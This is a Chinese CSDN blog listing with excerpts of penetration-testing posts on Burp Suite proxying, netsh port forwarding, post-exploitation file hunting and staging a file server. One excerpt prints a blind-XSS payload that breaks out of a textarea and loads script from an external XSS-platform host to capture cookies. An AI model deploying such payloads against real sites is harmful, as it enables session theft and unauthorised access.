召唤大白-CSDN博客

原创 mac下配置burpsuite小程序抓包

下载最新版微信或使用内测版（https://dldir1.qq.com/weixin/mac/WeChatMac_Beta.dmg），这两个微信版本均可打开小程序。1.打开burpsuite，导出证书，命名ca.der2.证书导入mac打开钥匙串访问.app，在证书处导入ca.der文件，并设为信任注意要在右键<显示简介里面设置信任3.设置代理服务器在网络偏好设置里面4.微信代理设置最后测试成功！...

2021-03-10 18:55:37 2973

原创某次日常xss盲打

今天接到个渗透测试的活，基本上就是静态站，本来也不报啥希望了，扫了一圈整个站就一个留言功能，根据经验一般留言就是在标签里，所以右键查看下元素，确定留言内容确实在里面，随手一个xss盲打未拦截，成功提交留言。盲打使用的xss平台的默认模块Payload:ccc”</tExtArEa><sCRiPt sRC=https://xss8.cc/CnQ6></sCrIpT><textarea>快下班时意外收到了弹回来的cookie，并且定位到了该站后台地址如下图，

2021-03-09 17:18:42 267

原创玩转netsh

Netsh是一种windows命令行程序，可用来查看和修改当前计算机的网络配置（IP地址、网关、DNS和MAC地址等）、防火墙配置等，本文主要介绍两个重(wei)要(suo)的功能。0x01 端口转发自WindowsXP开始，Windows中就内置端口转发的功能。任何传入到本地端口的TCP连接（IPv4或IPv6）都可以被重定向到另一个本地端口，或远程计算机上的端口，并且系统不需要有一个专门用于侦听该端口的服务。使用Netsh的portproxy模式配置Windows中的端口转发。该命令的语法如下：

2021-03-06 12:10:53 416

原创 web项目各个文件夹的作用

拿到服务器权限后，在做本地信息收集时，web应用是一个不可忽视的内容，尤其是web配置文件内容，能为我们横向移动、扩大战果提供重要情报。所以本文介绍web目录下各个文件夹的作用，为我们翻文件提供指导。1. JavaWeb项目/WEB-INF/web.xmlWeb应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。/WEB-INF/classes/包含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar文件

2021-03-06 11:12:52 7440

原创 ubuntu安装apache文件服务器

拿到一个服务器低权限，需要下载文件提权或做代理，这时候就需要我们的vps具备文件服务器的功能，本文讲阿里云ubuntu服务器上安装文件服务器功能。————————————————————————————首先安装Apache$sudo apt-get install apache2Apache2的默认访问端口为80，当端口被占用时需要更改其端口，进入/etc/apache2/sites-available,修改配置文件000-default.conf,默认网站路径在/var/www/。重启$se

2021-03-06 10:37:50 453

原创 linux解压缩命令

.tar解包：tar xvf FileName.tar打包：tar cvf FileName.tar DirName.gz解压1：gunzip FileName.gz解压2：gzip -d FileName.gz压缩：gzip FileName.tar.gz解压：tar zxvf FileName.tar.gz压缩：tar zcvf FileName.tar.gz DirName.bz2解压1：bzip2 -d FileName.bz2解压2：bunzip2 FileName.b

2021-03-06 09:36:31 89

原创 kali安装maven和jdk、解决：bash: mvn: command not found

0x00安装、配置maven1、安装 wget 命令#yum -y install wget2、下载maven安装包#wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz3.解压maven安装包#tar -zxvf apache-maven-3.5.4-bin.tar.gz4.配置maven mvn ,根据自己的包路径修改一下#update-alter

2020-10-30 11:18:57 2597 1

原创 kali虚拟机磁盘不足扩容

kali虚拟机磁盘不足时，需要扩容首先在物理上进行扩容，扩容到40G：需注意以下几点： linux只能扩大磁盘容量而不能减小，所填写的容量为总容量，即包含已分区的磁盘，扩展容量时不能有快照哟，大家可以先把快照删除掉。接着开机进入系统，新建磁盘分区和挂载磁盘分区：fdisk -l /dev/sda，可以看到当前的磁盘分区情况如下（由于当时没有截图，所以把新建的分区打个马赛克）：新建...

2019-04-12 14:48:16 7702 7

召唤大白的博客